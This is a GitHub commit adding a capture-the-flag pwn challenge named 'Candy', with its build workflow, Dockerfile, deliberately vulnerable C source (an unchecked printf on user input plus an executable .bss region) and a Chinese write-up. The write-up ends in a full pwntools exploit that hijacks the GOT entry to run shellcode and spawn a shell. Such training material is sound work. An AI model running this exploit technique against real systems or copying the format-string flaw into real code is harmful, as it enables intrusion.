-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
🔀 Merge pull request #49 from SVUCTF/pwn/Candy
[Pwn]Candy
- Loading branch information
Showing
8 changed files
with
430 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
name: Challenge candy | ||
|
||
on: | ||
push: | ||
branches: ["main"] | ||
paths: | ||
- "!**/README.md" | ||
- "challenges/pwn/Candy/build/**" | ||
workflow_dispatch: | ||
|
||
env: | ||
TYPE: pwn | ||
NAME: candy | ||
REGISTRY: ghcr.io | ||
|
||
jobs: | ||
challenge-build: | ||
runs-on: ubuntu-latest | ||
permissions: | ||
contents: write | ||
packages: write | ||
|
||
steps: | ||
- name: Checkout repository | ||
uses: actions/checkout@v3 | ||
|
||
- name: Log in to the Container registry | ||
uses: docker/login-action@v2 | ||
with: | ||
registry: ${{ env.REGISTRY }} | ||
username: ${{ github.actor }} | ||
password: ${{ secrets.GITHUB_TOKEN }} | ||
- name: Extract metadata (tags, labels) for Docker | ||
id: meta | ||
uses: docker/metadata-action@v4 | ||
with: | ||
images: ${{ env.REGISTRY }}/${{ github.repository }}/${{ env.NAME }} | ||
tags: | | ||
latest | ||
- name: Build and push Docker image | ||
uses: docker/build-push-action@v4 | ||
with: | ||
context: challenges/${{ env.TYPE }}/${{ env.NAME }}/build | ||
tags: ${{ steps.meta.outputs.tags }} | ||
labels: ${{ steps.meta.outputs.labels }} | ||
push: true | ||
|
||
- name: Copy compiled files back to repository | ||
run: | | ||
mkdir -p attachments | ||
docker create --name temp-container ${{ steps.meta.outputs.tags }} | ||
docker cp temp-container:/home/ctf/Candy ./attachments/ | ||
docker rm temp-container | ||
working-directory: challenges/${{ env.TYPE }}/${{ env.NAME }}/ | ||
|
||
- name: Commit compiled file | ||
run: | | ||
git config --local user.email "145646018+github-actions[bot]@users.noreply.github.com" | ||
git config --local user.name "github-actions[bot]" | ||
git add challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/Candy | ||
git commit --allow-empty -m ":package: [Pwn]Candy Add compiled file" | ||
- name: Pull changes | ||
run: | | ||
git pull --rebase | ||
- name: Push changes | ||
uses: ad-m/github-push-action@master | ||
with: | ||
github_token: ${{ secrets.GITHUB_TOKEN }} | ||
branch: ${{ github.ref }} | ||
- name: Re-pull on failure | ||
if: ${{ failure() }} | ||
run: git pull --rebase | ||
- name: Re-push on failure | ||
if: ${{ failure() }} | ||
uses: ad-m/github-push-action@master | ||
with: | ||
force: true | ||
github_token: ${{ secrets.GITHUB_TOKEN }} | ||
branch: ${{ github.ref }} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,190 @@ | ||
# Candy | ||
|
||
- 作者:pn1fg | ||
- 参考:- | ||
- 难度:Baby/Trivial/Easy/Normal/Medium/Hard/Expert/Insane | ||
- 分类:Pwn | ||
- 镜像:[svuctf-winter-2023/candy](https://ghcr.io/svuctf/svuctf-winter-2023/candy) | ||
- 端口:70 | ||
|
||
## 题目描述 | ||
|
||
## 题目解析 | ||
|
||
- 源码:[main.c](/build/main.c) | ||
- 考点:格式化字符串,GOT 劫持,shellcode | ||
|
||
格式化字符串函数是根据格式化字符串来进行解析的 。**那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制**。比如说'%s'表明我们会输出一个字符串参数。 | ||
|
||
![](writeup/images/printf.png) | ||
|
||
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况 | ||
|
||
- 当前字符不是 %,直接输出到相应标准输出。 | ||
- 当前字符是 %, 继续读取下一个字符 | ||
- 如果没有字符,报错 | ||
- 如果下一个字符是 %, 输出 % | ||
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出 | ||
|
||
那么假设,此时我们在编写程序时候,写成了下面的样子 | ||
|
||
```c | ||
printf("Color %s, Number %d, Float %4.2f"); | ||
``` | ||
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为 | ||
- 1.解析其地址对应的字符串 | ||
- 2.解析其内容对应的整形值 | ||
- 3.解析其内容对应的浮点值 | ||
这基本就是格式化字符串漏洞的基本原理了。 | ||
### 查看文件信息 | ||
查看文件类型(`file` 命令): | ||
```shell | ||
$ file pwn | ||
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0059aa9c4a34393d23601ab109b1b940e1a6424e, for GNU/Linux 4.4.0, not stripped | ||
``` | ||
|
||
这是一个64位 ELF 文件(`ELF 64-bit LSB executable`),动态链接(`dynamically linked`),没有去除符号(`not stripped`) | ||
|
||
检查文件保护机制(`checksec`命令): | ||
|
||
```shell | ||
$ checksec pwn | ||
Arch: amd64-64-little | ||
RELRO: Partial RELRO | ||
Stack: No canary found | ||
NX: NX enabled | ||
PIE: No PIE (0x400000) | ||
``` | ||
|
||
### 分析漏洞成因 | ||
|
||
反编译 `main` 函数: | ||
|
||
```c | ||
ulong main(void) | ||
|
||
{ | ||
sym.init(); | ||
sym.banner(); | ||
sym.vuln(); | ||
return 0; | ||
} | ||
``` | ||
反编译 `init` 函数: | ||
```c | ||
void sym.init(void) | ||
{ | ||
sym.imp.setvbuf(_reloc.stdin, 0, 2, 0); | ||
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0); | ||
sym.imp.setvbuf(_reloc.stderr, 0, 2, 0); | ||
sym.imp.mprotect(reloc.puts, 0x1000, 7); | ||
return; | ||
} | ||
``` | ||
|
||
`mprotect` 函数原型 | ||
|
||
```c | ||
int mprotect(const void *start, size_t len, int prot); | ||
``` | ||
`mprotect()` 函数把自 start 开始的、长度为 len 的内存区的保护属性修改为 prot 指定的值。这里的 prot 为7,所以这一块内存区则**可读可写可执行** | ||
反编译 `vuln` 函数: | ||
```c | ||
void sym.vuln(void) | ||
{ | ||
ulong format; | ||
ulong var_4h; | ||
sym.imp.puts("Input your favorite candy:"); | ||
while( true ) { | ||
sym.menu(); | ||
sym.imp.__isoc99_scanf(0x402423, &var_4h); | ||
if (var_4h == 3) { | ||
sym.imp.puts("There is no Unique Human Adventured"); | ||
return; | ||
} | ||
if (3 < var_4h) break; | ||
if (var_4h == 1) { | ||
sym.imp.read(0, obj.name, 0x100); | ||
} | ||
else { | ||
if (var_4h != 2) break; | ||
sym.imp.puts("There\'s a candy voucher in the flag!"); | ||
sym.imp.memset(&format, 0, 0x100); | ||
sym.imp.read(0, &format, 0x100); | ||
sym.imp.printf(&format); | ||
} | ||
} | ||
sym.imp.puts("Don\'t you like all of them?"); | ||
return; | ||
} | ||
``` | ||
|
||
分析一下 `vuln` 函数的逻辑,最外层 `while` 循环,然后输入一个整形值,接下来 `if` 条件判断,当输入的值为 `1` 时,调用 `read` 函数向 `obj.name` 中读入 0x100 字符串,`obj.name` 位于`bss`段上,有可执行权限,当输入的值为 `2` 时,执行的分支语句为: | ||
|
||
```c | ||
sym.imp.puts("There\'s a candy voucher in the flag!"); | ||
sym.imp.memset(&format, 0, 0x100); | ||
sym.imp.read(0, &format, 0x100); | ||
sym.imp.printf(&format); | ||
``` | ||
|
||
这里有很明显的格式化字符串漏洞,可以修改任意地址 | ||
|
||
这题我们的利用思路如下: | ||
|
||
- 在 `obj.name` 处填入 shellcode | ||
- 利用格式化字符串漏洞劫持 GOT 表,修改 `printf` 处地址为 `obj.name` 地址即可执行 shellcode,获取 shell | ||
|
||
### 编写利用程序 | ||
|
||
[exp.py](writeup/exp.py) | ||
|
||
```python | ||
from pwn import * | ||
|
||
context.arch = "amd64" | ||
context.log_level = "debug" | ||
|
||
if args['REMOTE']: | ||
io = remote('IP',port) | ||
else: | ||
io = process("./candy") | ||
|
||
elf = ELF("./candy") | ||
|
||
def exec_fmt(pad): | ||
io = process("./candy") | ||
io.sendline(b"2") | ||
io.send(pad) | ||
info = io.recv() | ||
io.close() | ||
return info | ||
|
||
fmt = FmtStr(exec_fmt) | ||
offset = fmt.offset | ||
print("offset ===> ", offset) | ||
|
||
pad = fmtstr_payload(offset, {elf.got["printf"]: elf.sym["name"]}) | ||
|
||
io.sendlineafter(b"Command:", b"1") | ||
io.send(asm(shellcraft.sh())) | ||
|
||
io.sendlineafter(b"Command:", b"2") | ||
io.sendlineafter(b"flag!\n", pad) | ||
|
||
io.interactive() | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
FROM ubuntu:22.04 AS builder | ||
|
||
COPY main.c /main.c | ||
RUN apt-get update && apt install gcc -y && \ | ||
gcc -o candy main.c -no-pie -fno-stack-protector | ||
|
||
FROM ghcr.io/svuctf/base/xinetd:alpine | ||
|
||
COPY init.sh /init.sh | ||
COPY xinetd.conf /etc/xinetd.conf | ||
|
||
RUN chmod +x /init.sh && \ | ||
chown -R ctf:ctf /home/ctf && \ | ||
chmod -R 750 /home/ctf && \ | ||
cp -R /lib* /home/ctf && \ | ||
mkdir /home/ctf/lib64 && \ | ||
mkdir /home/ctf/dev && \ | ||
mknod /home/ctf/dev/null c 1 3 && \ | ||
mknod /home/ctf/dev/zero c 1 5 && \ | ||
mknod /home/ctf/dev/random c 1 8 && \ | ||
mknod /home/ctf/dev/urandom c 1 9 && \ | ||
chmod 666 /home/ctf/dev/* && \ | ||
mkdir /home/ctf/bin && \ | ||
mkdir -p /home/ctf/lib/x86_64-linux-gnu/ && \ | ||
mkdir -p /home/ctf/lib32/ && \ | ||
cp /bin/sh /home/ctf/bin && \ | ||
cp /bin/ls /home/ctf/bin && \ | ||
cp /bin/cat /home/ctf/bin && \ | ||
cp /bin/base64 /home/ctf/bin | ||
|
||
COPY --from=builder /lib/x86_64-linux-gnu/libc.so.6 /home/ctf/lib/x86_64-linux-gnu/ | ||
COPY --from=builder /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /home/ctf/lib64/ | ||
COPY --from=builder --chown=ctf:ctf --chmod=500 /candy /home/ctf/candy | ||
|
||
CMD ["xinetd", "-dontfork"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/bin/sh | ||
|
||
echo $GZCTF_FLAG > /home/ctf/flag | ||
chown -R ctf:ctf /home/ctf/flag | ||
unset GZCTF_FLAG | ||
|
||
/usr/sbin/chroot /home/ctf/ /candy |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
#include <stdio.h> | ||
#include <string.h> | ||
#include <sys/mman.h> | ||
#include <unistd.h> | ||
char name[0x100]; | ||
|
||
void init() { | ||
setvbuf(stdin, NULL, _IONBF, 0); | ||
setvbuf(stdout, NULL, _IONBF, 0); | ||
setvbuf(stderr, NULL, _IONBF, 0); | ||
mprotect((void *)0x00404000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); | ||
} | ||
|
||
void banner() { | ||
puts("---------------------------------------------------\n" | ||
"███████╗██╗ ██╗██╗ ██╗ ██████╗████████╗███████╗\n" | ||
"██╔════╝██║ ██║██║ ██║██╔════╝╚══██╔══╝██╔════╝\n" | ||
"███████╗██║ ██║██║ ██║██║ ██║ █████╗ \n" | ||
"╚════██║╚██╗ ██╔╝██║ ██║██║ ██║ ██╔══╝ \n" | ||
"███████║ ╚████╔╝ ╚██████╔╝╚██████╗ ██║ ██║ \n" | ||
"╚══════╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ \n" | ||
" \n" | ||
" WELCOME TO SVUCTF WINTER 2023 \n" | ||
"---------------------------------------------------"); | ||
} | ||
|
||
void menu() { | ||
puts("1. Fujiya\n" | ||
"2. Huogai\n" | ||
"3. Unique Human Adventured"); | ||
printf("Command:"); | ||
} | ||
|
||
void vuln() { | ||
int x; | ||
char buf[0x100]; | ||
|
||
printf("Input your favorite candy:\n"); | ||
loop_start: | ||
menu(); | ||
scanf("%d", &x); | ||
switch (x) { | ||
case 1: | ||
read(0, name, 0x100); | ||
goto loop_start; | ||
case 2: | ||
printf("There's a candy voucher in the flag!\n"); | ||
memset(buf, 0, 0x100); | ||
read(0, buf, 0x100); | ||
printf(buf); | ||
goto loop_start; | ||
case 3: | ||
puts("There is no Unique Human Adventured"); | ||
break; | ||
default: | ||
printf("Don't you like all of them?\n"); | ||
break; | ||
} | ||
} | ||
|
||
int main() { | ||
init(); | ||
banner(); | ||
vuln(); | ||
|
||
return 0; | ||
} |
Oops, something went wrong.